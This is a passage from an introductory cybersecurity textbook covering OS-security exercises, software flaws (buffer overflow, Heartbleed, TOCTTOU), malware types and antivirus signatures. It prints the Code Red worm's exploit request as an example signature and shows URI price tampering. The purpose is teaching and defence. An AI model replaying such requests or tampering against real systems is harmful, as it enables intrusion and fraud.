IT systems against cyberattacks. This may sound odd—in the introduction to this
book it was said that cybersecurity was about securing your systems against attacks
coming via networks. However, anyone who has physical access to an IT system
may be able to manipulate or even turn off the security mechanisms. Or to introduce
some kind of weakness which can be used in a subsequent attack on the system
through the network. A common approach is to install hardware or software such as
a keylogger, which can record everything typed by the user—including confidential
data such as passwords—and send it to the intruder. There are numerous examples
of this technique being used on easily accessible computers in public libraries or
similar places, in order to perform internet banking fraud. Portable devices such as
laptops and tablets are especially exposed to the danger of being stolen, an activity
which the OS has has no real possibility of preventing. The thief then has ample time
to manipulate the stolen item and return it to the original owner, who is presumably
happy to get the device back—until he or she discovers that confidential data are
leaking to the thieves and their associates.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• Identity control
• Permission control
• A reference monitor
• User authentication
• Biometric authentication
• A dictionary attack
• Password strength
• A salt
• A one-time password
• Multi-factor authentication
• Single sign-on (SSO)
• A subject
• An object
• Separation
• Mandatory access control (MAC)
• Discretionary access control (DAC)
• Role-based access control (RBAC)
9.9 What the OS Cannot Do 275

• Principle of least privilege

• An access control matrix (ACM)
• An access control list (ACL)
• A directory
• A capability
• An MMU
• Segmentation
• Paging
• Virtual memory
• A registry key
• A protection ring
• A CPU mode
• A rootkit
• Full Disk Encryption (FDE)
• A TPM
• Job scheduling
• A zero-day attack
• CVE
• UEFI
• A boot loader
• A keylogger
• Physical security
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

In this chapter we have focused on security in ordinary operating systems, where

the users can be divided into two classes— administrators, who have access to
everything, and “ordinary mortals”—and where all data is considered to have the
same value. Computer systems which are to be used for purposes where very high
security is required operate with several classes of user, for example with different
security clearances, and several classes of data, for example with different security
classifications such as secret, confidential, for service use only, public, etc. Operating
systems which can handle this multiplicity are said to offer Multi-Level Security
(often abbreviated as MLS). An introduction to this topic can be found in a number
of general texts on computer security, for example Chap. 13 in Stallings and Brown’s
book “Computer Security” [84].
An operating system for use in contexts where exceptionally high security is
required must typically offer MLS and MAC and go through a certification process
which confirms that it fulfils some appropriate security requirements. An OS which
has these properties is known as a trusted OS. The certification process is nowadays
typically based on the so-called Common Criteria (CC). These are based on an
276 9 Security in Operating Systems

internationally standardised catalogue of security related requirements, which fall

into two classes:
1. Functional requirements, which potentially can be placed on a system or system
component,
2. Evaluation requirements, which can form the basis for establishing confidence in
the claim that the system fulfils the chosen functional requirements.
Depending on how strict requirements are placed on the evaluation, the system
is certified to a so-called Evaluation Assurance Level (EAL) between 1 and 7,
where EAL1 can be achieved by simple functional test, while EAL7 requires a
stringent, formal verification. The web site www.commoncriteriaportal.org contains
a good introduction to the method [17] and a long series of examples of requirement
specifications.

Exercises

9.1 Pattern locks

A typical pattern lock for user authentication requires the user to draw at least 5
connected straight line segments, where each segment joins two points out of the
nine which are the “basic pattern” for the lock. How many different patterns can be
drawn? (Two patterns which go through the same points, but where the starting point
in one pattern is the finishing point in the other, count as different patterns.)
Suppose now that, instead of a pattern lock, you use a password which consists
of a sequence of randomly chosen characters from an alphabet which only contained
the 26 lower case letters (a-z) in the English alphabet. How long (measured as the
number of characters) must the password be, in order for it to be possible to form
more different passwords than the number of patterns?

9.2 Password Strength

Knold and Tot Ltd. have a large IT system with more than 2000 computers connected
in a network. According to Knold and Tot’s IT security policy, all users should use
a password with at least 10 characters chosen from a set of 127 characters, which
contains both upper and lower case letters from the English alphabet, decimal digits
(0..9) and punctuation marks (comma, full stop, exclamation mark, percent sign etc.)
For historical reasons, there are however a number of computers in the system,
where the local OS limits the possibilities for forming passwords. In these computers,
passwords can only consist of 8 characters, which can be letters from the English
alphabet and decimal digits—and no distinction is made between upper and lower
case letters. Calculate the relative strengths of the two types of password, if they are
exposed to brute-force attacks.

9.3 A policy for choosing passwords

As stated in the main text, many organisations have a policy for choosing passwords,
according to which a valid password must contain at least one upper case letter, at
Exercises 277

least one lower case letter, at least one decimal digit and at least one character (such
as a mathematical sign or a punctuation mark) which doesn’t belong to any of these
classes.
How many different passwords of length 5 characters can be formed, if the
character set is ISO-latin1-printable, which contains 218 visible characters,
and where the class of upper case letters consist of the 26 characters (A-Z) from
the English alphabet, the class of lower case letters correspondingly consists of
the characters (a-z), and the class of digits consists of the 10 decimal digits (0-9)?
How many different passwords of length 6 characters can be formed? How long a
password must be used, if it is necessary to be able to form at least as many different
passwords as when you use an 8-character password, where each character is chosen
randomly from the character set ISO-latin1-printable (see Table 9.1) ?

9.4 Multi-factor authentication

Section 9.1.4 lists three different combinations of things which you have, you know
or you are, that are commonly used in multi-factor authentication. Which, if any, of
these combinations are used by your bank when you:
1. Use an ATM (“cash machine”) to withdraw some cash?
2. Use internet banking to check your account?
9.5 Windows Registry and Unix /proc
As stated in the text, Windows Registry contains important information about in-
stalled hardware and software, about job scheduling and about location-related data
for a Windows system. It is structured like a sort of file system with its own ACLs for
checking users’ access to reading or writing in the Registry. In Unix-based systems,
corresponding information is found partly in files in the /proc folder and partly in
configuration files in the /etc folder. A clever attacker would in many cases be able
to collect enough privileges to act as an administrator (in Unix: root), and therefore
have permission to change the content of these critical files or even to create new
entries in the relevant file systems. If we assume that the attacker can gain these
privileges without being detected (e.g. by an IDS), how can you find out what the
attacker has done? Both Windows Registry and Unix’ /proc and /etc contain many
thousand entries, so manual inspection is hardly a realistic possibility. Investigate
whether there is help to be found (for example: suitable software or hardware) for a
control task like this.
9.6 Data encryption in the cloud
To ensure confidentiality and integrity of data which is stored in a cloud, many
providers of cloud services offer to keep the data in encrypted form while they
are kept in the cloud. Does this strategy for ensuring confidentiality give the same
guarantees as traditional FDE on a disk which is 100% under the owner’s control? If
not, what is the difference between the two strategies? Remember that there can be
both technical differences (for example: whether it is possible to achieve transparent
encryption) and different risks associated with the two strategies.
9.7 Windows NT ACLs
In Sect. 9.3.1 there are two examples of some user wishes for file protection, which
278 9 Security in Operating Systems

cannot be satisfied with ordinary Unix-style abbreviated ACLs. The examples con-
cern the two files script.pl and doggy.bag, which are owned by the user Alice.
Can Alice’s wishes be met by using Windows NT ACLs? If you think they can, make
a suggestion for what the ACLs should look like. If you do not think the problem
can be solved using Windows NT ACLs, explain why not.

9.8 Capabilities and protection rings

In operating systems which use capabilities, a subject has (at least potentially) the
possibility of transferring its rights to other processes. It is often claimed that this
possibility is completely incompatible with the use of protection rings, as the two
mechanisms’ approaches to protecting the computer’s resources from misuse go in
opposite directions. Is this a reasonable claim? Give reasons for your answer.

9.9 Threats to Kerberos

In Sect. 9.1.5 two important threats to the correct operation of Kerberos for authen-
tication are pointed out: Disclosure of the servers’ secret keys, and lack of synchro-
nisation of the clocks in the computers in the network. What other network-related
threats can threaten Kerberos’ function?

9.10 The principle of least privilege

It is a generally recognised security principle, that no activity on a computer should
be performed with more rights than the absolute minimum needed for carrying out
that activity. In this exercise you are to investigate whether this principle can be
followed with the systems of rights which are found in some well-known OSs.
As an example you can think of an application which sends a data file from
user Alice on one computer to user Bob on another. The executable code for this
application lies in a file fsend.exe in the folder xfer. The owner of both the folder
and the file is appowner, who belongs to the group appgroup.
Alice has divided her data among two folders: private and public, where she
respectively stores confidential data, which must never be sent out of her computer,
and ordinary data, which may be sent out. Both these folders have alice as owner
and AG as group. Suppose first that the operating system is based on Linux and
uses compressed ACLs in Unix style to specify rights. In which group must Alice
place the file tobob, which lies in folder public? Which rights must Alice assign
to Owner, Group and World for this file? In which group must she place the file
nottobob, which lies in private? Which rights must she assign to Owner, Group
and World for this file?
Now suppose that the operating system is based on Windows and uses Windows
NT ACLs. Which permissions must Alice give (a) herself and (b) the group AG, in
relation to the file tobob? Which permissions must she give herself and the group
AG in relation to the file nottobob?

9.11 Password secrecy

In this exercise you must imagine that you are responsible for information security in
a company. The company’s internal network is based in the usual way on a number
of routers and switches. (You do not need to know the exact details of the network in
Exercises 279

order to do this exercise.) All the routers and switches can be managed remotely, so
trusted employees who have suitable authorisation can change their setup by logging
in via a standard web based interface. The login procedure requires each individual
user to supply a unique, personal userid and password.
Which security measures should the trusted employees take in relation to their
userids and passwords, in order to ensure that the security of the network is main-
tained? A good way to answer this exercise is to develop a set of instructions for the
trusted employees, covering all imaginable situations which can arise in relation to
use of the userids and passwords. The instructions should as a minimum cover:
• Creation and distribution of userids and passwords
• Storage of userids and passwords
• Use of userids and passwords to achieve access
• Withdrawal or revocation of userids and passwords
• Tracing and logging of the use of userids and passwords.
Chapter 10
Software security

Development of correct, flaw-free software is a surprisingly demanding discipline.

The apparently endless stream of updates which must correct errors and omissions, in
both operating systems and applications, shows how difficult it is. And a considerable
fraction of these updates are not just corrections for aesthetic errors, but are what
software companies call critical updates—that is to say corrections for flaws which
give vulnerabilities that can threaten the computer’s security. In this chapter we look
at some of the most common types of software-related vulnerabilities and at some
of the methods which can counteract them.

10.1 Classes of Security Failure in Software

A security failure in software is basically an unwanted program behaviour caused by

a program vulnerability. These vulnerabilities can arise in two very different ways:
1. Non-malicious flaws, which are introduced in the software as a result of the
programmer overlooking or forgetting something. This includes flaws such as:
• Buffer overflow (or buffer overwrite), where the software does not prevent
attempts to store data in a buffer which is too small to hold them;
• Buffer overread, where the software does not prevent attempts to read data
beyond the limits of the buffer;
• Incomplete mediation, where the software allows unsuitable or meaningless
data to be processed;
• Time-of-check-to-time-of-use (TOCTTOU) flaws, where the sofware allows
operations to be carried out with rights which are no longer valid.
2. Malicious flaws, which are introduced on purpose, possibly by exploiting a
vulnerability arising from a non-malicious flaw. Malicious flaws are a feature
of harmful programs such as viruses, worms, Trojan horses and other forms of
so-called malware, which are distributed by troublemakers and criminals.

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 281
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_10
282 10 Software security

In this section we look at the non-malicious flaws, while malware is discussed in

Sect. 10.2.

10.1.1 Buffer Overflow

A program which omits to check for buffer overflow can mistakenly allow important
data or code, which lies outside the overfilled buffer, to be overwritten. This is
illustrated in Fig. 10.1, where the area allocated in the memory for a user buffer
overflows. Depending on where the buffer is placed in relation to other code and

Input: nowisthetimeforallgoodmentocometotheaidoftheparty

n o w i s t h e t i m e f o r a l l g o o d m...
Buffer Adjacent storage

Fig. 10.1 Buffer Overflow

data, the buffer may overflow into (and change) the user’s own data, the user’s
program code, the system’s data or the system’s program code.
An important type of buffer overflow is stack overflow, which is exploited by a
large number of malicious programs in order to force their way into the victim’s
computer. Stack overflow is really a simple misuse of a very common mechanism in
many programming languages: namely, that space for program variables is allocated
on a “stack”, where the most recently stored elements are removed first—just like
with a stack of books or the trays in a canteen.

a. b. c.
63710A1F 63710A1F 63710A1F
Local 5642E1F8 5642E1F8 5642E1F8
buffer 0C2415DA 0C2415DA 0C2415DA
615F4142 615F4142
Stack

Return address BFFFF740 BFFFF740 EA01246C

Arguments 00000302 00000302 00000302
for function 20204163 20204163 20204163
Fig. 10.2 Stack overflow. The way in which space in the stack is allocated is shown on the left.
(Notice that by convention the stack is drawn with the top of the stack at the bottom—so the stack
“grows” downwards.) On the right three situations are shown:
a. Normal operation. Only a part of the local buffer has been used.
b. Critical situation: The buffer is completely full.
c. Stack Overflow: The buffer is overfull and the return address has been overwritten.
10.1 Classes of Security Failure in Software 283

Often the stack also contains the return address in the computer’s memory, which
the running program will return to when the current function has been completed,
so the stack looks as shown in Fig. 10.2. If space for a buffer is allocated in the stack
and the buffer is overfilled, the return address gets overwritten. So when the function
finishes, the program will return to a completely different location in the memory
from the one which it came from, and will then try to execute whatever instructions it
finds, starting from this location. The result will be some form of deviant behaviour,
maybe even a complete crash of the computer.

10.1.2 Buffer Overflow Vulnerabilities

Buffer overflow is typically a problem when software is written in languages such

as C, which do not automatically check whether there is space for data which
is moved round in the computer’s memory. Such languages are often chosen for
programming system programs, because they make it possible to develop relatively
efficient software through optimisations in speed and memory consumption. Part of
this advantage arises just exactly because automatic checks for buffer overflow are
missing—checks cost both time and space. The downside of this is an increased risk
of vulnerabilities.
A classic example is the string handling functions in C, which for example are
used for copying texts:
• strcpy(dst, src); [Copies from src to dst]
This function is unsafe, as there is no check for whether the buffer dst can hold
the contents of the buffer src.
• strncpy(dst, src, count)
This function copies at most count characters from src to dst. Use of this
function is guaranteed not to cause buffer overflow, if count is set equal to the
size of the buffer dst, like this:
strncpy(dst, src, sizeof dst)
Unfortunately the safe variant strncpy is confusing for the programmer, as the
count argument has another meaning than in, say, the function strncat, which
appends src to the end of dst. Inexperienced software developers therefore often
choose the unsafe variant, because they can’t quite remember how the safe variant
should be used. There are corresponding problems with the other string handling
functions in C, including functions for inputting text, such as fgets and scanf. In
recent years, so-called safe libraries for C and other languages have been developed,
so these vulnerabilities are no longer present. But by no means all development
projects make use of this improvement.
284 10 Software security

10.1.3 Buffer Overread

It may seem obvious that writing more data than a buffer can hold is dangerous,
but security problems can also arise if a program tries to read more data than the
buffer holds. Typically this happens when some data have to be copied or transmitted
from one location to another. Depending on where the buffer is placed in relation to
other code and data, the read operation may read too much of the user’s own data or
program code, or even parts of the system’s data or program code. These last two
areas are especially dangerous from a security point of view, since they may contain
system-critical information which should not leak out from the system’s memory
area.
A dramatic example of a buffer overread flaw was the Heartbleed bug which was
accidentally introduced into the widely used OpenSSL security package in 2012.
The bug, which could lead to the disclosure of encryption keys and confidential user
information, was not discovered until 2014, by which time it had compromised a
very large number of TLS clients and servers worldwide.

Responder
Normal use: memory
Request:
length: 8 woffle12
payload: crazycat crazycat
Response:
length: 8
payload: crazycat

Heartbleed:
Request: server m
length: 120
asterkey
payload: crazycat 1fbzy3dd
Response: j5pvki7a
length: 120 User bun
payload: crazycat ny23 set
password
server masterkey1fbzy3dd doggy23
j5pvki7aUser bunny23 set bag. log
password doggy23bag. log
off user
Qu...

Fig. 10.3 Operation of TLS Heartbeat with and without the Heartbleed bug

Heartbleed was a flaw in the implementation of the TLS Heartbeat extension.

This provides a mechanism for keeping TLS connections alive, in order to avoid the
need for regular re-negotiation of the connection’s security parameters. Typically,
the client initiates the heartbeat by sending a request containing a payload text and
its length in bytes. If the server is still alive, it should respond with the same text
and length. If the Heartbleed bug is present, there is no check that the length given
in the request does not exceed the size of the text. This makes it possible for a
malicious client to ask for a very large amount of data, which the server will then
10.1 Classes of Security Failure in Software 285

include in its response, as illustrated in Fig. 10.3. Since these data are taken from an
area of memory probably dedicated to the running of TLS, they will often include
confidential or other critical data, as in the example shown in the figure.

10.1.4 Incomplete Mediation

The impressive term incomplete mediation is used to describe situations where there
is no proper control of data. This can lead to random or planned faults. Some simple
examples:
• Impossible dates in the correct format (e.g. yyyyMMMdd):
1900Feb29, 2048Min32
What do you think happens when these dates are looked up in tables in the
program?
• Modifiable query fields in a URI. These are often used in applications which
perform transactions. For example in an application where a customer buys 20
items with catalogue number 555A, which cost A C10 each, to be delivered by rail,
and where the transport costs are AC5, the final URI could look like:
https://www.things.com/order/final?custID=101&
part=555A&qty=20&price=10&send=rail&total=205
The web site adds the parameters incrementally to the query field in the URI
as data about the transaction is received. If there is no running data control,
especially for the calculation of the price, the customer can perhaps change the
parameters from his browser, so for example the total price of A C205 is altered to
A
C105.
Vulnerabilities which can expose the system to so-called software injection, where
an attacker gets a program to execute code which violates the security policy, are also
based on incomplete mediation. We look more closely at three of the most important
forms, namely SQL injection, LDAP injection and HTML-based cross-site scripting,
in Sects. 10.3, 10.4 and 10.5.6.1 below respectively.

10.1.5 Time-of-check to Time-of-use (TOCTTOU)

The name of this type of flaw says everything! A delay between checking permission
to perform certain operations and actual use of this permission can make it possible
to change the operations in the meantime. An example:
• A user tries to write 100 characters into the file abc. A description of the operation
is stored in a data structure—a so-called file descriptor.
• The OS checks the user’s rights to write to the file.
286 10 Software security

• While the user’s rights are being checked, an attacker changes the descriptor, so
it instead refers to the file /etc/passwd, which in systems with an operating
system in the Unix family contains information about user accounts.
• When the OS informs the user’s program that it has permission to write in the
file, it will therefore be the file /etc/passwd which gets overwritten.
TOCTTOU flaws enable attackers to exploit so-called race conditions—in the ex-
ample above, the user and the attacker race to perform different operations on the
file system. With this type of TOCTTOU flaw, attackers use various techniques to
ensure that the change in the descriptor takes place in the little time window between
the user’s check and the actual execution of the write operation. For example, the
attacker can make sure that his program is scheduled by the operating system, so that
it runs every time that a user program creates a file descriptor. Or the attacker can
make sure that the OS doesn’t have information about the target file in the computer’s
memory, and therefore must fetch this information from the disk. In the meantime,
the user’s program is put on hold, with the result that the time window during which
the attacker can make the necessary changes is extended.
TOCTTOU flaws of this type are commonest in systems which use an OS in the
Unix family. We have seen in Chap. 9 that a number of OSs only check rights for
access to a file when the file is opened, and that subsequent operations on the same
file are performed on the basis of this initial check. It is exactly this practice which
opens up for TOCTTOU flaws.
There are many other types of TOCTTOU flaw—for example, where authenti-
cation is based on credentials such as certificates, which have a limited period of
validity or which can be revoked due to a security breach. Maybe the credentials are
only checked when the user starts an activity which lasts a long time, and there is no
check later on during the activity. This sort of situation is well-known from ordinary
life, where a passport, credit card or travel document may expire or be declared
invalid during a long journey. If you can get on the plane without anyone noticing
this, it is clearly a security risk. Similarly, if you can use computer credentials after
they are no longer valid, it is clearly a cybersecurity risk.

10.1.6 Detection of Programming Errors

The traditional technique for detecting programming erors is to test the program
with a long series of testdata, which have been carefully chosen to test the program’s
behaviour with normal input, with faulty input, and especially with cases which
lie on the boundary between normal and faulty input. This sounds like a sensible
strategy, but in a complex program it can in practice be very difficult to be certain
that you have tested all possible paths through the program and all thinkable combi-
nations of (especially) faulty input data. There can easily be some completely crazy
combinations which you never thought of when you designed your tests. As early as
1969, the well-known Dutch computer scientist Edsger W. Dijkstra summed up the
situation in an often quoted statement:
10.1 Classes of Security Failure in Software 287

“Program testing can be used to show the presence of bugs, but never to show
their absence!”
This reflects the obvious truth that if the test reveals an error, then you know there
is an error. But if the test does not reveal any errors, then you don’t know whether
this is because you just happen to have left out the set of test data which would have
revealed the error.
In development of secure systems, it has nevertheless for many years been common
practice to use a type of test known as Penetration test (often just called pentest)
to check whether the security measures were good enough. In a pentest the system
is attacked with as many types of attack as you can afford, in order to see whether
they reveal any vulnerabilities which have to be removed. Very often this is done
without the tester having any knowledge of the internal structure of the program—a
style of testing known as blackbox test—so the tester is in the same situation as an
external attacker. Pentest is still used to give a feeling for how well (or how badly)
the software behaves with respect to IT security, but it has the same limitations as
testing in general.
In recent years, researchers have put a big effort into developing alternative
methods for revealing program errors, especially hidden vulnerabilities such as
buffer overflow flaws and so-called pointer errors, where a program tries to use a
reference to an inaccessible (possibly even non-existent) part of the memory. The
methods fall roughly speaking into three classes:
1. Fuzz test (or just “fuzzing”) of the program. Here the program is tested with a very
large set of input data, which in most fuzz testers are variations of input datasets
which the program is known to handle correctly. These variations are generated
automatically, based on various strategies which are intended to exercise all paths
through the program and test its reaction to many forms of unlikely, but according
to the documentation legal, sets of input data. To ensure this, fuzz testing usually
assumes knowledge of the program’s internal structure—a form of testing known
as whitebox test. This information typically comes from the program’s source
text.
Fuzztest has turned out to be good at revealing vulnerabilities which can get
programs to “crash” or hang without making any progress. But as in many cases
it is necessary to generate several billion sets of test data which the program must
be exposed to, a lot of computing power is needed for performing a reliable test.
You either have to use a lot of time on a single computer or divide the effort
among several computers, for example in a cloud.
There are both open source and commercial tools for this form of testing. Some
well-known examples are:
• zzuf, an open source tool available at http://caca.zoy.org/wiki/zzuf.
• American Fuzzy Lop (AFL), an open source tool available at http://lcamtuf.
coredump.cx/afl/.
• Project Springfield, a tool developed by Microsoft, which uses a cloud to
obtain the necessary computing power.
288 10 Software security

• OSS-Fuzz, developed within Google’s Core Infrastructure Community, mainly

with the aim of providing a platform for analysing open source products.
2. Static analysis of program text. Here the possible paths which the program can
follow are analysed to see whether any of them can lead to a fault situation such
as buffer overflow, overwriting of program code, modification of the operating
system’s code or data, code injection (see Sect.s 10.3 and 10.4 below) or similar.
The analysis takes place on a symbolic level, without the program actually being
executed—hence the name static analysis. As the analysis in most cases looks at
the source text of the program rather than the instructions which the computer has
to execute, most tools of this type are oriented towards a specific programming
language. Many of these tools are available as open source software. Some well-
known examples are:
• Flawfinder [96], available at URI http://www.dwheeler.com/flawfinder
• LCLint/Splint (for C) [33], available at http://www.splint.org
• FindBugs (for Java) [43], available at http://findbugs.sourceforge.net
• RIPS (for PHP) [24], available at http://rips-scanner.sourceforge.net
David Wheeler has produced a very informative web page about tools for static
analysis aimed at revealing software vulnerabilities. It can be found at URI http:
//www.dwheeler.com/essays/static-analysis-tools.html.
3. Dynamic analysis of the program’s execution. Here the code of the program is
extended with extra code, which checks for unwanted situations when the program
is executed. The aim of this is to make the program robust with respect to faulty
data, so it performs correctly for all acceptable data and rejects all faulty data.
Many tools for dynamic analysis focus on problems with handling the memory,
such as stack overflow, attempts to access areas of memory which have not been
allocated to the program, attempts to deallocate unallocated memory, and so-
called memory leaks, where areas in the memory remain allocated, even if no
program is using them, so the size of the usable memory becomes smaller and
smaller as time goes by. Well-known tools of this type include:
• StackGuard: the oldest technique for preventing stack overflow, introduced in
Gnu Compiler Collection (GCC) version 2.7 in 1997.
• ProPolice: IBM’s further development of StackGuard, also for GCC.
• GCC -fstack-protector flags: RedHat’s and Google’s reimplementations of
ProPolice, introduced in GCC versions from v4.1.
• Valgrind: Oriented particularly towards detection of problems with allocation
of memory and detection of leaks. See http://valgrind.org.
• Purify: Oriented like Valgrind particularly towards detection of problems with
memory allocation. See http://unicomsi.com/products/purifyplus/.
Mechanisms with compiler flags to include code for checking for buffer overflow,
as in GCC, are also available in Microsoft Visual Studio, Intel’s C and C++
compilers and others.
10.2 Malicious Code 289

It would be nice if these techniques were used more extensively. David wheeler
has produced an interesting analysis of the difficulty of detecting the Heartbleed
bug [98], where he points out that very few of the practical tools available at the
time would have found the bug if used alone, so a combinaion of tools of various
types should always be used to validate security-critical software. Other experiences
confirm this advice. For example, Apple uses static analysis to check for malware
in the apps in their App Store, but found that careful masking of the malware could
prevent detection if only this form of analysis was used.

10.2 Malicious Code

Malicious code—often known as malware—is concisely defined by:

Definition 10.1 Malicious code is code which deliberately attempts to breach the
security policy of the computer on which it is executed.
In everyday informal speech, people often call all types of malicious code a “virus”.
But technically speaking, malware is divided up into several classes:
• Virus: Attaches itself to a program or data and transfers malicious code to non-
harmful programs by modifying them.
• Worm: An independent program which spreads copies of itself through the net
without using infected files.
• Trojan horse: A piece of software which has an apparent useful effect, but also
a not immediately apparent harmful effect.
• Logic bomb/timebomb: Has a harmful effect which does not appear until it is
triggered by particular conditions or events.
• Backdoor/trapdoor: Gives the attacker (possibly privileged) access to a com-
puter without the attacker having to go through the usual procedures for login or
authentication.
• Spyware: Sends details about the computer’s hardware and/or the user’s activities
to the attacker.
• Ransomware: This comes in two flavours: Cryptographic ransomware encrypts
the entire disk or the contents of selected files, and demands money from the user
to get them decrypted again. Exposure ransomware steals private or confidential
data from the victim and threatens to expose it if a ransom is not paid. Some types
of ransomware do both, first stealing some confidential data, then encrypting
some or all files, and then threatening to expose the confidential data in order to
press the victim to pay the ransom.
• Rabbit/bacterium: Reproduces itself continually, in order to use up all the sys-
tem’s resources.
It is possible to find other, slightly different, definitions in the literature, as the
boundaries between the various classes are somewhat fuzzy, and the classes are
obviously not exclusive. A virus can, for example, contain functionality as a logic
290 10 Software security

Fig. 10.4 Rabbits which are

thinking of reproduction.
(Foto of rabbit: Photohound,
Wikimedia Commons file
Conejo_astronomo.png
licensed under CC-BY 3.0
[22])

bomb, if its harmful effect does not appear until a particular date or time, such as
midnight on Friday the 13th. A Trojan horse can also contain functionality as a
backdoor. And so on.

10.2.1 Virus Attacks

A classic virus attaches itself to a program or some data, so it is activated when the
program is run or the modified data are used. The process is controlled by a number
of strategic choices which the virus designer makes. Some of them significantly
affect how easy it is for the virus to escape detection. The most important ones are:
Infection strategy: What sort of files should the virus try to insert its code into? If,
for example, it is to infect executable program files, a good strategy would be to look
in some standard program libraries. If the virus is based on text macros, it should
look for file types such as Word files, which can use these macros.
Code placement strategy: Where in the file should the virus code be placed? The
simplest strategy is to place it at the beginnng or end, but that is probably where most
antivirus programs would look first. Some smarter strategies are discussed below.
Execution strategy: How do you force the computer to execute the virus code?
Code to do this can also be easily recognised by an antivirus program and must be
disguised somehow.
Concealment strategy: How can the virus hide its presence, so it doesn’t get
detected by antivirus or other security programs? The virus code can be made harder
to identify by insertion of useless code, encryption or compression.

The placement of the virus code in the chosen file should preferebly not rouse any
suspicions, so the virus developers will most often do their very best to ensure that
the size of the file is not changed. This can normally easily be done, owing to the way
in which space on the disk is allocated. Space on the disk (see Fig. A.3 in App. A)
is divided up into a number of tracks, each consisting of a number of sectors. The
space allocated to a file is always a whole number of sectors, regardless of how
large or small the file really is. This means that there is almost always some empty
space after the file’s actual contents. This is illustrated in Fig. 10.5, where the small
vertical marks above each subfigure indicate the sector boundaries. The figure shows
10.2 Malicious Code 291

(a)

Pointer to entry point

Jump back to original entry point

(b)

Pointer to virus' entry point

Virus code
Jump back to continuation

(c)

Pointer to Jump to virus' Virus code

entry point entry point

Fig. 10.5 Placement of virus code in an executable file.

a. Layout on the disk of an uninfected program file.
b. Insertion of virus code, so it is executed just before the ordinary program.
c. Insertion of virus code, so it is executed in the middle of the program.

the layour in an executable file, which typically consists of several sections with code
or data (indicated by the filled areas), each of which start on a sector boundary. This
naturally often gives a number of empty areas in the file as a whole.
Figure 10.5a shows a typical layout in an executable file, which has not yet been
infected by a virus. The hatched area at the start of the file is the file’s header, which
amongst other things contains a description of the file’s sections and the position
in the file—the so-called entry point—where the first instruction to be executed is
placed. Figures 10.5b and c show what this file might look like if a small piece of
virus code is inserted into one of the empty areas at the end of a sector. In 10.5b,
the virus developer has chosen a simple strategy for ensuring that the virus code
gets executed: The information in the file header on where execution is to start has
been changed to refer to the start of the virus code, and the last instruction in the
virus code is a jump back to the original entry point. This change would probably be
detected by most antivirus programs. In Fig. 10.5c, the developer has chosen a not
quite so obvious strategy: The original entry point is preserved, but the code in one
of the sections is changed so the virus code is executed somewhere in the middle
of the program. If the virus code fills more than there is room for in a single empty
area, several of them can be used, so execution of the virus code is woven into the
execution of the program’s original code.
When it is activated, the virus can behave in many ways. For example it can cause
direct and immediate damage, it can run in the background as a memory-resident
program which is always ready to detect and infect new targets, or it can replace (or
relocate) boot sector programs on the computer’s disks, so harmful code is executed
when the computer is started up.
292 10 Software security

10.2.2 Worm attacks

It is characteristic of a worm that it itself moves copies of itself from one system
to one or more others, where it tries to install itself and if possible send even more
copies of itself to new systems. The typical worm is therefore composed of three
parts:
Searcher: Code to find potential victims which can be infected;
Propagator: Code to transfer the worm to the victim systems;
Payload: Code which is to be executed in the victim systems.
Some worms are designed to select potential victims at random, while others use
information which they find in the local computer to direct their search. Worms
which are spread via e-mail will, for example, typically look in personal address
books or other files which contain e-mail addresses. Worms which are spread via
HTTP will look to see which webservers the local system uses. Other worms use
social media as a means of transport, and there it is quite easy to find out who chats
with whom. And so on.
When a worm arrives at a new system, it will typically exploit an existing vul-
nerability there, in order to install and activate itself. Vulnerabilities which can lead
to buffer overflow are often used, but worm designers are as a rule very innovative
and do not limit themselves to software vulnerabilities—worms sent via e-mail often
exploit social engineering to persuade the recipient of the mail to click on a link
or open an attached document with a malicious content. Note that it is not neces-
sary to find an existing file in which the worm’s code can be stored on the victim’s
system—the worm is an independent unit which works completely autonomously.
In order to hide more effectively, there has been a tendency for worms to use
a technique known as process hollowing. In rough terms this involves setting up a
perfectly normal process, in which a perfectly ordinary program is running, and then
to replace the code of that program with the worm’s payload. In a typical scenario,
the worm will contain a small bootstrap program which starts a perfectly normal
process in a suspended state. The operating system will build up the structure of
the process and fill it with the code and data sections which belong to the ordinary
program. The worm’s bootstrap program then replaces one or more of the program’s
sections with the worm’s payload and changes the process’ entry point, so execution
will start with the malware code. Seen from outside, the process looks like the normal
process, with its normal name and so on, but it behaves in a way determined by the
malware.
Just like with viruses, the worm’s payload can have an almost arbitrary effect
on the attacked victim. It can place the system under “remote control”, get it to
contribute to a DoS attack, overwrite web pages, install a key logger to record the
user’s input (especially access codes, PIN codes, credit card numbers etc.), encrypt
the user’s files, attack applications which control industrial processes, and many
other things. Recovery after some of these attacks can cost society many resources.
10.2 Malicious Code 293

Fig. 10.6 Viruses and other malware can be distinguished from ordinary programs by their appear-
ance

10.2.3 Antivirus Systems

Modern antivirus systems (or just AV systems) have, in spite of their name, the task
of detecting and if possible removing – or in some other way neutralising—all forms
of malware. An AV system can be based on two different basic principles: It can be
signature based or behaviour based.
Signature based AV systems are by far the most common. In this type of system, it
is assumed that a virus or other form of malware has a characteristic appearance (its
signature), which makes it possible to identify it. This idea is illustrated in Fig. 10.6.
AV suppliers maintain enormous databases of signatures in the form of code or data
fragments which unambiguously characterise different viruses and other malware.
Rapid recognition is achieved by seeing whether a suspect contains one or more of
the known signatures in a collection of many thousands of signatures. Often this has
to go quickly – before any damage is done!
A well-known (but quite outdated) example, the signature for the worm “Code
Red” which ravaged the Internet in 2001, can be seen in Fig. 10.7. “Code Red” spread

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
